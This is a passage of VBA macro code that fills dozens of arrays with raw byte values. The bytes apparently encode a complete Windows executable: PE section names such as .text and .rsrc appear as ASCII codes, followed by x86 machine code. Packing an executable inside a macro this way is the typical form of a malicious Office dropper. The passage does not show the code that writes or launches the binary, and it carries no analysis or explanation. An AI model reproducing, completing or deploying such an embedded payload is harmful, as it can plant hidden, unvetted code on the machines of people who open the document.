    a(4) = Array(44, 209, 0, 0, 180, 0, 0, 0, 0, 32, 1, 0, 180, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 48, 1, 0, 48, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 224, 204, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 176, 0, 0, 104, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0)
    a(5) = Array(250, 145, 0, 0, 0, 16, 0, 0, 0, 146, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 96, 46, 114, 100, 97, 116, 97, 0, 0, 82, 41, 0, 0, 0, 176, 0, 0, 0, 42, 0, 0, 0, 150, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 100, 97, 116, 97, 0, 0, 0, 196, 55, 0, 0, 0, 224, 0, 0, 0, 26, 0, 0, 0, 192, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 192, 46, 114, 115, 114, 99, 0, 0, 0, 180, 1, 0, 0, 0, 32, 1, 0)
    a(6) = Array(0, 2, 0, 0, 0, 218, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99, 0, 0, 168, 12, 0, 0, 0, 48, 1, 0, 0, 14, 0, 0, 0, 220, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(7) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(8) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(9) = Array(232, 11, 0, 0, 0, 194, 16, 0, 204, 204, 204, 204, 204, 204, 204, 204, 85, 139, 236, 131, 228, 248, 129, 236, 36, 6, 0, 0, 161, 4, 224, 64, 0, 51, 196, 137, 132, 36, 32, 6, 0, 0, 83, 86, 87, 139, 61, 28, 176, 64, 0, 198, 68, 36, 15, 0, 255, 215, 60, 5, 118, 15, 141, 68, 36, 15, 80, 232, 216, 13, 0, 0, 131, 196, 4, 235, 9, 141, 116, 36, 15, 232, 42, 15, 0, 0, 132, 192, 15, 132, 19, 1, 0, 0, 128, 124, 36, 15, 0, 15, 133, 8, 1, 0, 0, 104, 8, 2, 0, 0, 141, 140, 36, 36, 4, 0, 0, 106, 0, 81, 232, 35, 54, 0, 0, 131, 196, 12)
    a(10) = Array(255, 21, 40, 176, 64, 0, 80, 141, 148, 36, 36, 4, 0, 0, 104, 96, 204, 64, 0, 82, 255, 21, 72, 177, 64, 0, 104, 8, 2, 0, 0, 141, 132, 36, 40, 2, 0, 0, 106, 0, 80, 232, 242, 53, 0, 0, 131, 196, 24, 141, 140, 36, 32, 4, 0, 0, 141, 156, 36, 24, 2, 0, 0, 232, 188, 1, 0, 0, 132, 192, 15, 132, 165, 0, 0, 0, 106, 0, 106, 0, 139, 203, 81, 104, 192, 246, 64, 0, 106, 0, 255, 21, 96, 177, 64, 0, 133, 192, 15, 133, 137, 0, 0, 0, 139, 53, 36, 176, 64, 0, 139, 211, 82, 255, 214, 131, 248, 255, 116, 121, 104, 8, 2, 0, 0, 141, 68, 36)
    a(11) = Array(20, 106, 0, 80, 232, 151, 53, 0, 0, 131, 196, 12, 185, 160, 238, 64, 0, 141, 92, 36, 16, 232, 102, 1, 0, 0, 132, 192, 116, 83, 139, 203, 81, 141, 132, 36, 28, 2, 0, 0, 232, 3, 15, 0, 0, 131, 196, 4, 132, 192, 116, 61, 141, 148, 36, 24, 2, 0, 0, 82, 255, 21, 32, 176, 64, 0, 139, 195, 80, 255, 214, 131, 248, 255, 116, 37, 255, 215, 139, 203, 60, 5, 118, 11, 81, 232, 134, 5, 0, 0, 131, 196, 4, 235, 5, 232, 76, 2, 0, 0, 132, 192, 116, 9, 141, 116, 36, 16, 232, 31, 0, 0, 0, 139, 140, 36, 44, 6, 0, 0, 95, 94, 91, 51, 204, 51, 192, 232)
    a(12) = Array(220, 15, 0, 0, 139, 229, 93, 195, 204, 204, 204, 204, 204, 204, 204, 204, 85, 139, 236, 129, 236, 104, 4, 0, 0, 161, 4, 224, 64, 0, 51, 197, 137, 69, 252, 51, 192, 83, 106, 68, 80, 137, 133, 220, 251, 255, 255, 137, 133, 224, 251, 255, 255, 137, 133, 228, 251, 255, 255, 137, 133, 232, 251, 255, 255, 141, 133, 152, 251, 255, 255, 80, 50, 219, 232, 209, 52, 0, 0, 51, 201, 104, 16, 4, 0, 0, 81, 141, 149, 236, 251, 255, 255, 82, 199, 133, 152, 251, 255, 255, 68, 0, 0, 0, 199, 133, 196, 251, 255, 255, 1, 0, 0, 0, 102, 137, 141, 200, 251, 255, 255, 232, 162, 52, 0, 0, 141, 149)
    a(13) = Array(236, 251, 255, 255, 131, 196, 24, 139, 198, 43, 214, 235, 3, 141, 73, 0, 15, 183, 8, 102, 137, 12, 2, 131, 192, 2, 102, 133, 201, 117, 241, 141, 133, 220, 251, 255, 255, 80, 141, 141, 152, 251, 255, 255, 81, 106, 0, 106, 0, 106, 0, 106, 0, 106, 0, 106, 0, 141, 149, 236, 251, 255, 255, 82, 106, 0, 255, 21, 88, 176, 64, 0, 133, 192, 116, 17, 176, 1, 91, 139, 77, 252, 51, 205, 232, 7, 15, 0, 0, 139, 229, 93, 195, 255, 21, 16, 176, 64, 0, 139, 77, 252, 138, 195, 51, 205, 91, 232, 240, 14, 0, 0, 139, 229, 93, 195, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204)
    a(14) = Array(85, 139, 236, 129, 236, 16, 2, 0, 0, 161, 4, 224, 64, 0, 51, 197, 137, 69, 252, 86, 87, 104, 8, 2, 0, 0, 141, 133, 244, 253, 255, 255, 106, 0, 80, 139, 241, 232, 246, 51, 0, 0, 131, 196, 12, 104, 4, 1, 0, 0, 141, 141, 244, 253, 255, 255, 81, 104, 132, 204, 64, 0, 255, 21, 92, 176, 64, 0, 133, 192, 15, 132, 203, 0, 0, 0, 141, 133, 244, 253, 255, 255, 141, 80, 2, 102, 139, 8, 131, 192, 2, 102, 133, 201, 117, 245, 43, 194, 209, 248, 116, 46, 102, 131, 188, 69, 242, 253, 255, 255, 92, 116, 35, 141, 189, 244, 253, 255, 255, 131, 199, 254, 141, 155, 0, 0, 0, 0)
    a(15) = Array(102, 139, 71, 2, 131, 199, 2, 102, 133, 192, 117, 244, 139, 21, 128, 204, 64, 0, 137, 23, 139, 198, 141, 80, 2, 141, 164, 36, 0, 0, 0, 0, 102, 139, 8, 131, 192, 2, 102, 133, 201, 117, 245, 43, 194, 209, 248, 116, 102, 139, 198, 139, 214, 102, 139, 8, 131, 192, 2, 102, 133, 201, 117, 245, 141, 189, 244, 253, 255, 255, 43, 194, 131, 199, 254, 235, 3, 141, 73, 0, 102, 139, 79, 2, 131, 199, 2, 102, 133, 201, 117, 244, 139, 200, 193, 233, 2, 243, 165, 139, 200, 131, 225, 3, 141, 133, 244, 253, 255, 255, 243, 164, 139, 211, 139, 200, 43, 209, 15, 183, 8, 102, 137, 12, 2, 131, 192, 2)
    a(16) = Array(102, 133, 201, 117, 241, 95, 176, 1, 94, 139, 77, 252, 51, 205, 232, 205, 13, 0, 0, 139, 229, 93, 195, 139, 77, 252, 95, 51, 205, 50, 192, 94, 232, 187, 13, 0, 0, 139, 229, 93, 195, 204, 204, 204, 204, 204, 204, 204, 85, 139, 236, 129, 236, 116, 4, 0, 0, 161, 4, 224, 64, 0, 51, 197, 137, 69, 252, 83, 86, 87, 51, 219, 83, 139, 241, 83, 137, 181, 160, 251, 255, 255, 255, 21, 88, 177, 64, 0, 133, 192, 15, 133, 234, 2, 0, 0, 141, 133, 156, 251, 255, 255, 80, 104, 136, 180, 64, 0, 106, 1, 83, 104, 168, 180, 64, 0, 137, 157, 156, 251, 255, 255, 255, 21, 84, 177, 64, 0)
    a(17) = Array(133, 192, 15, 133, 188, 2, 0, 0, 139, 133, 156, 251, 255, 255, 59, 195, 15, 132, 174, 2, 0, 0, 139, 8, 139, 81, 28, 104, 176, 242, 64, 0, 80, 255, 210, 139, 133, 156, 251, 255, 255, 141, 149, 164, 251, 255, 255, 82, 104, 120, 180, 64, 0, 104, 152, 180, 64, 0, 137, 157, 164, 251, 255, 255, 139, 8, 104, 176, 242, 64, 0, 80, 139, 65, 32, 255, 208, 133, 192, 15, 133, 97, 2, 0, 0, 57, 157, 164, 251, 255, 255, 15, 132, 85, 2, 0, 0, 104, 8, 2, 0, 0, 141, 141, 240, 253, 255, 255, 83, 81, 232, 45, 50, 0, 0, 131, 196, 12, 139, 198, 235, 6, 141, 155, 0, 0, 0, 0)
    a(18) = Array(102, 139, 8, 131, 192, 2, 102, 59, 203, 117, 245, 141, 189, 240, 253, 255, 255, 43, 198, 131, 199, 254, 102, 139, 79, 2, 131, 199, 2, 102, 59, 203, 117, 244, 139, 200, 193, 233, 2, 243, 165, 139, 200, 141, 149, 240, 253, 255, 255, 131, 225, 3, 82, 243, 164, 255, 21, 64, 177, 64, 0, 104, 8, 2, 0, 0, 141, 133, 232, 251, 255, 255, 83, 80, 232, 209, 49, 0, 0, 131, 196, 12, 141, 141, 148, 251, 255, 255, 81, 141, 149, 232, 251, 255, 255, 82, 199, 133, 148, 251, 255, 255, 8, 2, 0, 0, 255, 21, 0, 176, 64, 0, 139, 133, 164, 251, 255, 255, 139, 149, 160, 251, 255, 255, 139, 8, 82, 80)
    a(19) = Array(139, 129, 128, 0, 0, 0, 255, 208, 139, 133, 164, 251, 255, 255, 139, 8, 141, 149, 240, 253, 255, 255, 82, 80, 139, 129, 144, 0, 0, 0, 255, 208, 139, 133, 164, 251, 255, 255, 139, 8, 139, 145, 168, 0, 0, 0, 106, 255, 80, 255, 210, 139, 133, 164, 251, 255, 255, 139, 8, 139, 81, 112, 104, 0, 34, 0, 0, 80, 255, 210, 139, 133, 164, 251, 255, 255, 139, 8, 139, 81, 120, 83, 104, 148, 204, 64, 0, 80, 255, 210, 139, 133, 164, 251, 255, 255, 141, 149, 152, 251, 255, 255, 82, 141, 149, 144, 251, 255, 255, 137, 157, 152, 251, 255, 255, 137, 157, 144, 251, 255, 255, 139, 8, 82, 80, 139, 65, 12)
    a(20) = Array(255, 208, 133, 192, 15, 133, 30, 1, 0, 0, 57, 157, 152, 251, 255, 255, 15, 132, 18, 1, 0, 0, 106, 48, 141, 141, 168, 251, 255, 255, 83, 81, 232, 251, 48, 0, 0, 51, 192, 137, 133, 216, 251, 255, 255, 137, 133, 220, 251, 255, 255, 137, 133, 224, 251, 255, 255, 137, 133, 228, 251, 255, 255, 131, 196, 12, 141, 133, 216, 251, 255, 255, 186, 48, 0, 0, 0, 80, 102, 137, 149, 168, 251, 255, 255, 199, 133, 188, 251, 255, 255, 1, 0, 0, 0, 255, 21, 20, 176, 64, 0, 15, 183, 149, 218, 251, 255, 255, 15, 183, 141, 216, 251, 255, 255, 102, 139, 133, 222, 251, 255, 255, 102, 137, 149, 174, 251, 255)
    a(21) = Array(255, 15, 183, 149, 226, 251, 255, 255, 102, 137, 141, 172, 251, 255, 255, 15, 183, 141, 224, 251, 255, 255, 102, 137, 133, 176, 251, 255, 255, 139, 133, 152, 251, 255, 255, 102, 137, 149, 186, 251, 255, 255, 141, 149, 168, 251, 255, 255, 102, 137, 141, 184, 251, 255, 255, 199, 133, 200, 251, 255, 255, 7, 0, 0, 0, 139, 8, 82, 80, 139, 65, 12, 255, 208, 133, 192, 117, 76, 139, 133, 164, 251, 255, 255, 141, 149, 160, 251, 255, 255, 82, 137, 157, 160, 251, 255, 255, 139, 8, 104, 168, 177, 64, 0, 80, 139, 1, 255, 208, 133, 192, 117, 41, 139, 133, 160, 251, 255, 255, 59, 195, 116, 31, 139, 8, 139, 81, 24)
    a(22) = Array(106, 1, 83, 80, 255, 210, 133, 192, 117, 2, 179, 1, 139, 133, 160, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 139, 133, 152, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 139, 133, 164, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 139, 133, 156, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 255, 21, 80, 177, 64, 0, 139, 77, 252, 95, 94, 138, 195, 51, 205, 91, 232, 135, 10, 0, 0, 139, 229, 93, 195, 204, 204, 204, 85, 139, 236, 129, 236, 160, 4, 0, 0, 161, 4, 224, 64, 0, 51, 197, 137, 69, 248, 139, 69, 8, 83, 86, 87, 141, 141, 148, 251, 255, 255, 50)
    a(23) = Array(219, 81, 137, 133, 196, 251, 255, 255, 136, 157, 223, 251, 255, 255, 199, 133, 212, 251, 255, 255, 0, 0, 0, 0, 255, 21, 52, 177, 64, 0, 106, 0, 106, 0, 255, 21, 88, 177, 64, 0, 133, 192, 15, 133, 209, 6, 0, 0, 141, 149, 212, 251, 255, 255, 82, 104, 216, 177, 64, 0, 106, 1, 80, 104, 232, 179, 64, 0, 255, 21, 84, 177, 64, 0, 133, 192, 15, 133, 169, 6, 0, 0, 139, 133, 212, 251, 255, 255, 133, 192, 15, 132, 155, 6, 0, 0, 139, 24, 139, 141, 148, 251, 255, 255, 139, 149, 152, 251, 255, 255, 139, 189, 156, 251, 255, 255, 139, 181, 160, 251, 255, 255, 131, 236, 16, 139, 196, 137)
    a(24) = Array(8, 137, 80, 4, 137, 120, 8, 137, 112, 12, 131, 236, 16, 139, 196, 137, 8, 137, 80, 4, 137, 120, 8, 137, 112, 12, 131, 236, 16, 139, 196, 137, 8, 137, 80, 4, 137, 120, 8, 137, 112, 12, 131, 236, 16, 139, 196, 137, 8, 139, 75, 40, 137, 80, 4, 137, 120, 8, 137, 112, 12, 139, 133, 212, 251, 255, 255, 80, 255, 209, 133, 192, 15, 133, 25, 6, 0, 0, 139, 29, 48, 177, 64, 0, 104, 152, 204, 64, 0, 255, 211, 139, 248, 139, 133, 212, 251, 255, 255, 141, 141, 204, 251, 255, 255, 81, 51, 246, 137, 181, 204, 251, 255, 255, 139, 16, 139, 82, 28, 87, 80, 137, 189, 128, 251, 255, 255, 255)
    a(25) = Array(210, 133, 192, 15, 133, 215, 5, 0, 0, 57, 181, 204, 251, 255, 255, 15, 132, 203, 5, 0, 0, 104, 176, 242, 64, 0, 255, 211, 139, 248, 139, 133, 204, 251, 255, 255, 139, 8, 139, 81, 60, 86, 87, 80, 137, 189, 164, 251, 255, 255, 255, 210, 139, 133, 212, 251, 255, 255, 141, 149, 216, 251, 255, 255, 82, 137, 181, 216, 251, 255, 255, 139, 8, 86, 80, 139, 65, 36, 255, 208, 133, 192, 15, 133, 123, 5, 0, 0, 57, 181, 216, 251, 255, 255, 15, 132, 111, 5, 0, 0, 104, 8, 2, 0, 0, 141, 141, 236, 253, 255, 255, 86, 81, 137, 181, 184, 251, 255, 255, 232, 36, 46, 0, 0, 131, 196, 12, 141)
    a(26) = Array(149, 124, 251, 255, 255, 82, 141, 133, 236, 253, 255, 255, 80, 199, 133, 124, 251, 255, 255, 8, 2, 0, 0, 255, 21, 0, 176, 64, 0, 141, 141, 236, 253, 255, 255, 81, 255, 211, 139, 248, 139, 133, 216, 251, 255, 255, 139, 16, 139, 82, 28, 141, 141, 184, 251, 255, 255, 81, 80, 137, 189, 132, 251, 255, 255, 255, 210, 133, 192, 15, 133, 237, 4, 0, 0, 139, 133, 184, 251, 255, 255, 59, 198, 15, 132, 223, 4, 0, 0, 139, 8, 139, 81, 40, 87, 80, 255, 210, 133, 192, 15, 133, 192, 4, 0, 0, 139, 133, 216, 251, 255, 255, 141, 149, 224, 251, 255, 255, 137, 181, 224, 251, 255, 255, 139, 8, 82, 80)
    a(27) = Array(139, 65, 44, 255, 208, 133, 192, 15, 133, 157, 4, 0, 0, 57, 181, 224, 251, 255, 255, 15, 132, 145, 4, 0, 0, 104, 156, 204, 64, 0, 255, 211, 139, 248, 104, 168, 204, 64, 0, 137, 189, 144, 251, 255, 255, 255, 211, 139, 240, 139, 133, 224, 251, 255, 255, 139, 8, 139, 81, 32, 106, 255, 80, 137, 181, 136, 251, 255, 255, 255, 210, 139, 133, 224, 251, 255, 255, 139, 8, 139, 81, 80, 106, 0, 80, 255, 210, 139, 133, 224, 251, 255, 255, 139, 8, 139, 81, 72, 106, 0, 80, 255, 210, 139, 133, 224, 251, 255, 255, 139, 8, 139, 145, 152, 0, 0, 0, 106, 255, 80, 255, 210, 139, 133, 224, 251, 255, 255)
    a(28) = Array(139, 8, 139, 81, 112, 87, 80, 255, 210, 139, 133, 224, 251, 255, 255, 139, 8, 139, 81, 56, 106, 2, 80, 255, 210, 139, 133, 224, 251, 255, 255, 139, 8, 139, 81, 48, 106, 5, 80, 255, 210, 139, 133, 224, 251, 255, 255, 139, 8, 139, 81, 40, 86, 80, 255, 210, 139, 133, 224, 251, 255, 255, 139, 8, 139, 81, 88, 106, 255, 80, 255, 210, 139, 133, 224, 251, 255, 255, 139, 8, 139, 81, 64, 106, 0, 80, 255, 210, 139, 133, 224, 251, 255, 255, 141, 149, 176, 251, 255, 255, 199, 133, 176, 251, 255, 255, 0, 0, 0, 0, 139, 8, 82, 80, 139, 129, 156, 0, 0, 0, 255, 208, 133, 192, 15, 133, 136, 3)
    a(29) = Array(0, 0, 139, 133, 176, 251, 255, 255, 133, 192, 15, 132, 122, 3, 0, 0, 139, 8, 139, 81, 48, 106, 0, 80, 255, 210, 139, 133, 216, 251, 255, 255, 141, 149, 172, 251, 255, 255, 199, 133, 172, 251, 255, 255, 0, 0, 0, 0, 139, 8, 82, 80, 139, 65, 68, 255, 208, 133, 192, 15, 133, 59, 3, 0, 0, 139, 133, 172, 251, 255, 255, 133, 192, 15, 132, 45, 3, 0, 0, 141, 149, 192, 251, 255, 255, 82, 199, 133, 192, 251, 255, 255, 0, 0, 0, 0, 139, 8, 106, 0, 80, 139, 65, 48, 255, 208, 133, 192, 15, 133, 252, 2, 0, 0, 139, 133, 192, 251, 255, 255, 133, 192, 15, 132, 238, 2, 0, 0)
    a(30) = Array(141, 149, 200, 251, 255, 255, 82, 199, 133, 200, 251, 255, 255, 0, 0, 0, 0, 139, 8, 104, 56, 179, 64, 0, 80, 139, 1, 255, 208, 133, 192, 15, 133, 187, 2, 0, 0, 57, 133, 192, 251, 255, 255, 15, 132, 175, 2, 0, 0, 139, 181, 196, 251, 255, 255, 86, 255, 211, 139, 141, 200, 251, 255, 255, 139, 17, 80, 137, 133, 120, 251, 255, 255, 139, 66, 44, 81, 255, 208, 104, 8, 2, 0, 0, 141, 141, 228, 251, 255, 255, 106, 0, 81, 232, 190, 43, 0, 0, 139, 198, 131, 196, 12, 139, 208, 141, 164, 36, 0, 0, 0, 0, 102, 139, 8, 131, 192, 2, 102, 133, 201, 117, 245, 141, 189, 228, 251, 255)
End Sub

Private Sub Init1()
    a(31) = Array(255, 43, 194, 131, 199, 254, 102, 139, 79, 2, 131, 199, 2, 102, 133, 201, 117, 244, 139, 200, 193, 233, 2, 243, 165, 139, 200, 141, 149, 228, 251, 255, 255, 131, 225, 3, 82, 243, 164, 255, 21, 64, 177, 64, 0, 141, 133, 228, 251, 255, 255, 80, 255, 211, 139, 240, 139, 133, 200, 251, 255, 255, 139, 8, 139, 81, 60, 86, 80, 137, 181, 140, 251, 255, 255, 255, 210, 139, 133, 216, 251, 255, 255, 141, 149, 188, 251, 255, 255, 51, 255, 137, 189, 188, 251, 255, 255, 139, 8, 82, 80, 139, 65, 36, 255, 208, 133, 192, 15, 133, 194, 1, 0, 0, 57, 189, 188, 251, 255, 255, 15, 132, 182, 1, 0, 0, 141, 141)
    a(32) = Array(100, 251, 255, 255, 81, 255, 21, 52, 177, 64, 0, 139, 133, 216, 251, 255, 255, 141, 141, 180, 251, 255, 255, 137, 189, 180, 251, 255, 255, 139, 16, 139, 82, 60, 81, 80, 255, 210, 133, 192, 15, 133, 120, 1, 0, 0, 139, 133, 180, 251, 255, 255, 59, 199, 15, 132, 106, 1, 0, 0, 139, 8, 139, 81, 72, 87, 80, 255, 210, 139, 133, 188, 251, 255, 255, 141, 149, 168, 251, 255, 255, 82, 137, 189, 168, 251, 255, 255, 139, 8, 106, 9, 80, 139, 65, 40, 255, 208, 133, 192, 15, 133, 46, 1, 0, 0, 139, 133, 168, 251, 255, 255, 59, 199, 15, 132, 32, 1, 0, 0, 141, 149, 208, 251, 255, 255, 82, 137)
    a(33) = Array(189, 208, 251, 255, 255, 139, 8, 104, 136, 178, 64, 0, 80, 139, 1, 255, 208, 133, 192, 15, 133, 241, 0, 0, 0, 139, 133, 208, 251, 255, 255, 59, 199, 15, 132, 227, 0, 0, 0, 139, 8, 141, 149, 236, 253, 255, 255, 82, 80, 139, 65, 92, 255, 208, 139, 133, 208, 251, 255, 255, 139, 8, 139, 81, 76, 106, 255, 80, 255, 210, 139, 149, 148, 251, 255, 255, 139, 181, 152, 251, 255, 255, 141, 133, 196, 251, 255, 255, 80, 131, 236, 16, 139, 196, 137, 16, 137, 112, 4, 139, 141, 204, 251, 255, 255, 137, 189, 196, 251, 255, 255, 139, 189, 156, 251, 255, 255, 137, 120, 8, 139, 189, 160, 251, 255, 255, 137, 120)
    a(34) = Array(12, 139, 25, 106, 3, 131, 236, 16, 139, 196, 137, 16, 139, 149, 156, 251, 255, 255, 137, 112, 4, 137, 80, 8, 139, 149, 100, 251, 255, 255, 137, 120, 12, 131, 236, 16, 139, 196, 137, 16, 139, 149, 104, 251, 255, 255, 137, 80, 4, 139, 149, 108, 251, 255, 255, 137, 80, 8, 139, 149, 112, 251, 255, 255, 137, 80, 12, 139, 133, 216, 251, 255, 255, 139, 149, 164, 251, 255, 255, 106, 6, 80, 139, 67, 68, 82, 81, 255, 208, 133, 192, 117, 25, 139, 133, 196, 251, 255, 255, 133, 192, 116, 15, 139, 8, 139, 81, 8, 80, 198, 133, 223, 251, 255, 255, 1, 255, 210, 139, 133, 208, 251, 255, 255, 139, 8, 139, 81)
    a(35) = Array(8, 80, 255, 210, 139, 181, 140, 251, 255, 255, 139, 133, 168, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 139, 133, 180, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 139, 133, 188, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 86, 139, 53, 56, 177, 64, 0, 255, 214, 139, 133, 120, 251, 255, 255, 80, 255, 214, 139, 133, 200, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 139, 189, 144, 251, 255, 255, 139, 181, 136, 251, 255, 255, 139, 133, 192, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 139, 133, 172, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 139, 133, 176, 251)
    a(36) = Array(255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 87, 139, 61, 56, 177, 64, 0, 255, 215, 86, 255, 215, 139, 133, 224, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 139, 189, 132, 251, 255, 255, 139, 133, 184, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 87, 255, 21, 56, 177, 64, 0, 139, 133, 216, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 139, 189, 164, 251, 255, 255, 87, 255, 21, 56, 177, 64, 0, 139, 189, 128, 251, 255, 255, 87, 255, 21, 56, 177, 64, 0, 139, 133, 212, 251, 255, 255, 139, 8, 139, 81, 8, 80, 255, 210, 138, 157, 223, 251, 255, 255, 255, 21, 80, 177, 64)
    a(37) = Array(0, 139, 77, 248, 95, 94, 138, 195, 51, 205, 91, 232, 80, 3, 0, 0, 139, 229, 93, 195, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 85, 139, 236, 131, 236, 32, 139, 69, 8, 83, 86, 87, 51, 219, 141, 77, 224, 81, 136, 93, 255, 136, 24, 137, 93, 248, 255, 21, 52, 177, 64, 0, 83, 83, 255, 21, 88, 177, 64, 0, 133, 192, 15, 133, 24, 1, 0, 0, 141, 85, 248, 82, 104, 216, 177, 64, 0, 106, 1, 83, 104, 232, 179, 64, 0, 255, 21, 84, 177, 64, 0, 133, 192, 15, 133, 243, 0, 0, 0, 139, 69, 248, 59, 195, 15, 132, 232, 0, 0, 0, 139, 24, 139, 77, 224, 139)
    a(38) = Array(85, 228, 139, 117, 232, 139, 125, 236, 131, 236, 16, 139, 196, 137, 8, 137, 80, 4, 137, 112, 8, 137, 120, 12, 131, 236, 16, 139, 196, 137, 8, 137, 80, 4, 137, 112, 8, 137, 120, 12, 131, 236, 16, 139, 196, 137, 8, 137, 80, 4, 137, 112, 8, 137, 120, 12, 131, 236, 16, 139, 196, 137, 8, 139, 75, 40, 137, 80, 4, 137, 112, 8, 137, 120, 12, 139, 69, 248, 80, 255, 209, 133, 192, 117, 127, 139, 53, 48, 177, 64, 0, 104, 180, 204, 64, 0, 255, 214, 139, 248, 139, 69, 248, 141, 77, 244, 81, 51, 219, 137, 93, 244, 139, 16, 139, 82, 28, 87, 80, 255, 210, 133, 192, 117, 78, 57, 93, 244)
    a(39) = Array(116, 73, 104, 176, 242, 64, 0, 255, 214, 139, 240, 139, 69, 244, 141, 85, 240, 82, 137, 93, 240, 139, 8, 86, 80, 139, 65, 52, 255, 208, 133, 192, 117, 21, 139, 69, 240, 59, 195, 116, 14, 139, 8, 139, 81, 8, 80, 255, 210, 139, 69, 8, 198, 0, 1, 86, 179, 1, 255, 21, 56, 177, 64, 0, 139, 69, 244, 139, 8, 139, 81, 8, 80, 255, 210, 87, 255, 21, 56, 177, 64, 0, 235, 3, 138, 93, 255, 139, 69, 248, 139, 8, 139, 81, 8, 80, 255, 210, 255, 21, 80, 177, 64, 0, 95, 94, 138, 195, 91, 139, 229, 93, 195, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204)
    a(40) = Array(85, 139, 236, 131, 236, 8, 83, 51, 219, 83, 83, 136, 30, 255, 21, 88, 177, 64, 0, 133, 192, 15, 133, 133, 0, 0, 0, 141, 69, 252, 80, 104, 136, 180, 64, 0, 106, 1, 83, 104, 168, 180, 64, 0, 137, 93, 252, 255, 21, 84, 177, 64, 0, 133, 192, 117, 97, 139, 69, 252, 59, 195, 116, 90, 141, 85, 248, 82, 104, 120, 180, 64, 0, 104, 152, 180, 64, 0, 137, 93, 248, 139, 8, 104, 176, 242, 64, 0, 80, 139, 65, 32, 255, 208, 59, 195, 117, 33, 139, 69, 248, 59, 195, 116, 38, 139, 8, 139, 81, 8, 80, 255, 210, 139, 69, 252, 139, 8, 139, 81, 28, 104, 176, 242, 64, 0, 80, 255)
    a(41) = Array(210, 235, 10, 61, 80, 0, 7, 128, 117, 5, 198, 6, 1, 179, 1, 139, 69, 252, 139, 8, 139, 81, 8, 80, 255, 210, 255, 21, 80, 177, 64, 0, 138, 195, 91, 139, 229, 93, 195, 204, 204, 204, 204, 204, 204, 204, 204, 204, 85, 139, 236, 131, 236, 12, 198, 69, 255, 0, 133, 192, 117, 6, 50, 192, 139, 229, 93, 195, 131, 125, 8, 0, 116, 244, 83, 104, 188, 204, 64, 0, 80, 232, 165, 2, 0, 0, 139, 216, 131, 196, 8, 137, 93, 244, 133, 219, 15, 132, 242, 0, 0, 0, 86, 106, 2, 106, 0, 83, 232, 92, 9, 0, 0, 83, 232, 103, 8, 0, 0, 106, 0, 106, 0, 83, 139, 240, 232, 74)
